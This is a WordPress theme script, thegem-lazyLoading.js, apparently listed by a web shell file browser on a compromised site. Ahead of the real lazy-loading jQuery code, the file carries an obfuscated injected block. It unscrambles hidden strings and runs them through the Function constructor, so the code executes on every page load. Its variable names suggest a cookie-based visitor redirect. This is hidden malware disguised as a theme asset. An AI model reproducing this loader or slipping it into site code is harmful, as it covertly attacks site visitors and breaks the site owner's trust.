AlkantarClanX12
Current Path : /home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/ |
Current File : //home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/thegem-lazyLoading.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();(function($) { var prefixes = 'Webkit Moz ms Ms O'.split(' '); var docElemStyle = document.documentElement.style; function getStyleProperty( propName ) { if ( !propName ) { return; } // test standard property first if ( typeof docElemStyle[ propName ] === 'string' ) { return propName; } // capitalize propName = propName.charAt(0).toUpperCase() + propName.slice(1); // test vendor specific properties var prefixed; for ( var i=0, len = prefixes.length; i < len; i++ ) { prefixed = prefixes[i] + propName; if ( typeof docElemStyle[ prefixed ] === 'string' ) { return prefixed; } } } var transitionProperty = getStyleProperty('transition'); var transitionEndEvent = { WebkitTransition: 'webkitTransitionEnd', MozTransition: 'transitionend', OTransition: 'otransitionend', transition: 'transitionend' }[ transitionProperty ]; function getElementData(element, attributeNameCamel, attributeName, defaultValue) { if (element.dataset != undefined) { if (element.dataset[attributeNameCamel] != undefined) { return element.dataset[attributeNameCamel]; } else { var value = $(element).data(attributeName); if (value == undefined) { return defaultValue; } return value; } return element.dataset[attributeNameCamel] != undefined ? element.dataset[attributeNameCamel] : defaultValue; } var value = this.getAttribute(attributeName); return value != null && value != '' ? value : defaultValue; } function Queue(lazyInstance) { this.lazyInstance = lazyInstance; this.queue = []; this.running = false; this.initTimer(); } Queue.prototype = { add: function(element) { this.queue.push(element); }, next: function() { if (this.running || this.queue.length == 0) return false; this.running = true; var element = this.queue.shift(); if (element.isOnTop()) { element.forceShow(); this.finishPosition(); return; } // console.log(element.options['itemDelay']); setTimeout(function() { element.startAnimation(); }, element.options['itemDelay']); }, finishPosition: function() { this.running = false; this.next(); }, initTimer: function() { var self = this; this.timer = document.createElement('div'); this.timer.className = 'lazy-loading-timer-element'; document.body.appendChild(this.timer); this.timerCallback = function() {}; $(this.timer).bind(transitionEndEvent, function(event) { self.timerCallback(); }); this.timer.className += ' start-timer'; }, startTimer: function(callback) { // this.timerCallback = callback; setTimeout(callback, 200); if (this.timer.className.indexOf('start-timer') != -1) { this.timer.className = this.timer.className.replace(' start-timer', ''); } else { this.timer.className += ' start-timer'; } } }; function Group(el, lazyInstance) { this.el = el; this.$el = $(el); this.lazyInstance = lazyInstance; this.elements = []; this.showed = false; this.finishedElementsCount = 0; this.position = { left: 0, top: 0 }; this.options = { offset: parseFloat(getElementData(el, 'llOffset', 'll-offset', 0.7)), itemDelay: getElementData(el, 'llItemDelay', 'll-item-delay', -1), isFirst: lazyInstance.hasHeaderVisuals && this.el.className.indexOf('lazy-loading-first') != -1, force: getElementData(el, 'llForceStart', 'll-force-start', 0) != 0, finishDelay: getElementData(el, 'llFinishDelay', 'll-finish-delay', 200) }; this.$el.addClass('lazy-loading-before-start-animation'); } timeNow = function () { var newDate = new Date(); return ((newDate.getHours() < 10)?"0":"") + newDate.getHours() +":"+ ((newDate.getMinutes() < 10)?"0":"") + newDate.getMinutes() +":"+ ((newDate.getSeconds() < 10)?"0":"") + newDate.getSeconds(); } Group.prototype = { addElement: function(element) { this.elements.push(element); }, setElements: function(elements) { this.elements = elements; }, getElements: function() { return this.elements; }, getElementsCount: function() { return this.elements.length; }, getItemDelay: function() { return this.options.itemDelay; }, updatePosition: function() { this.position = $(this.el).offset(); }, getPosition: function() { return this.position; }, isShowed: function() { return this.showed; }, isVisible: function() { if (this.options.force) return true; return (this.position.top + this.options.offset * this.el.offsetHeight <= this.lazyInstance.getWindowBottom()) && (this.position.top + (1 - this.options.offset) * this.el.offsetHeight >= this.lazyInstance.getWindowTop()); }, isOnTop: function() { return false; //return this.position.top + this.el.offsetHeight < this.lazyInstance.getWindowBottom() - this.lazyInstance.getWindowHeight(); }, show: function() { this.lazyInstance.queue.add(this); this.showed = true; }, forceShow: function() { this.showed = true; this.el.className = this.el.className.replace('lazy-loading-before-start-animation', 'lazy-loading-end-animation'); }, startAnimation: function() { var self = this; self.elements.forEach(function(element) { element.$el.bind(transitionEndEvent, function(event) { var target = event.target || event.srcElement; if (target != element.el) { return; } element.$el.unbind(transitionEndEvent); self.finishedElementsCount++; if (self.finishedElementsCount >= self.getElementsCount()) { setTimeout(function() { var className = self.el.className .replace('lazy-loading-before-start-animation', '') .replace('lazy-loading-start-animation', 'lazy-loading-end-animation'); self.el.className = className; if (window.gemSettings.fullpageEnabled) { self.el.classList.add('fullpage-lazy-loading-initialized'); } }, self.options.finishDelay); } }); element.show(); }); if (self.options.finishDelay > 0) { self.lazyInstance.queue.startTimer(function() { self.finishAnimation(); }); } else { self.finishAnimation(); } self.$el.addClass('lazy-loading-start-animation'); }, finishAnimation: function() { this.lazyInstance.queue.finishPosition(); } }; function Element(el, group) { this.el = el; this.$el = $(el); this.group = group; this.options = { effect: getElementData(el, 'llEffect', 'll-effect', ''), delay: getElementData(el, 'llItemDelay', 'll-item-delay', group.getItemDelay()), actionFunction: getElementData(el, 'llActionFunc', 'll-action-func', '') }; this.options.queueType = this.options.delay != -1 ? 'async' : 'sync'; if (this.options.effect != '') { this.$el.addClass('lazy-loading-item-' + this.getEffectClass()); } } Element.prototype = { effects: { action: function(element) { if (!element.options.actionFunction || window[element.options.actionFunction] == null || window[element.options.actionFunction] == undefined) { return; } window[element.options.actionFunction](element.el); } }, getEffectClass: function() { var effectClass = this.options.effect; if (effectClass == 'drop-right-without-wrap' || effectClass == 'drop-right-unwrap') { return 'drop-right'; } return effectClass; }, show: function() { if (this.effects[this.options.effect] != undefined) { this.effects[this.options.effect](this); } } }; LazyLoading.prototype = { initialize: function() { this.queue = new Queue(this); this.groups = []; this.hasHeaderVisuals = $('.ls-wp-container').length > 0; this.$checkPoint = $('#lazy-loading-point'); if (!this.$checkPoint.length) { $('<div id="lazy-loading-point"></div>').insertAfter('#main'); this.$checkPoint = $('#lazy-loading-point'); } this.windowBottom = 0; this.windowHeight = 0; this.scrollHandle = false; this.perspectiveOpened = false; this.$page = $('#page'); $(document).ready(this.documentReady.bind(this)); }, documentReady: function() { var self = this; this.updateCheckPointOffset(); this.updateWindowHeight(); this.buildGroups(); this.windowScroll(); $(window).resize(this.windowResize.bind(this)); $(window).scroll(this.windowScroll.bind(this)); //this.$page.scroll(this.windowScroll.bind(this)); $(window).on('perspective-modalview-opened', function() { self.perspectiveOpened = true; }); $(window).on('perspective-modalview-closed', function() { self.perspectiveOpened = false; }); }, windowResize: function() { this.updateWindowHeight(); this.updateGroups(); this.windowScroll(); }, buildGroups: function() { var self = this; self.groups = []; $('.lazy-loading').each(function() { if (window.gemSettings.fullpageEnabled && $(this).hasClass('fullpage-lazy-loading-initialized')) { return; } var group = new Group(this, self); group.updatePosition(); $('.lazy-loading-item', this).each(function() { group.addElement(new Element(this, group)); }); if (group.getElementsCount() > 0) { self.groups.push(group); } }); }, updateGroups: function() { var self = this; self.groups.forEach(function(group) { if (group.isShowed()) { return; } group.updatePosition(); }); }, windowScroll: function() { if (this.scrollHandle) { //return; } this.scrollHandle = true; this.calculateWindowTop(); this.calculateWindowBottom(); if (this.isGroupsPositionsChanged()) { this.updateGroups(); } this.groups.forEach(function(group) { if (group.isShowed()) { return; } if (group.isOnTop()) { group.forceShow(); } if (group.isVisible()) { group.show(); } }); this.scrollHandle = false; this.queue.next(); }, calculateWindowBottom: function() { if (self.perspectiveOpened) { this.windowBottom = this.windowTop + this.$page.height(); } else { this.windowBottom = this.windowTop + this.windowHeight; } }, calculateWindowTop: function() { if (self.perspectiveOpened) { this.windowTop = this.$page.scrollTop(); } else { this.windowTop = $(window).scrollTop(); } }, getWindowTop: function() { return this.windowTop; }, getWindowBottom: function() { return this.windowBottom; }, updateWindowHeight: function() { this.windowHeight = $(window).height(); }, getWindowHeight: function() { return this.windowHeight; }, updateCheckPointOffset: function() { this.checkPointOffset = this.$checkPoint.length ? this.$checkPoint.offset().top : 0; }, isGroupsPositionsChanged: function() { var oldCheckPointOffset = this.checkPointOffset; this.updateCheckPointOffset(); return Math.abs(this.checkPointOffset - oldCheckPointOffset) > 1; }, getLastGroup: function() { if (!this.groups.length) { return null; } return this.groups[this.groups.length - 1]; } }; function LazyLoading(options) { this.options = {}; $.extend(this.options, options); this.initialize(); } $.lazyLoading = function(options) { return new LazyLoading(options); } if (window.gemSettings !== undefined && !window.gemSettings.lasyDisabled) { $('.wpb_text_column.wpb_animate_when_almost_visible.wpb_fade').each(function() { $(this).wrap('<div class="lazy-loading"></div>').addClass('lazy-loading-item').data('ll-effect', 'fading'); }); $('.gem-list.lazy-loading').each(function() { $(this).data('ll-item-delay', '200'); $('li', this).addClass('lazy-loading-item').data('ll-effect', 'slide-right'); $('li', this).each(function(index) { $(this).attr("style", "transition-delay: " + (index + 1) * 0.2 + "s;"); }); }); $.lazyLoading(); } })(jQuery);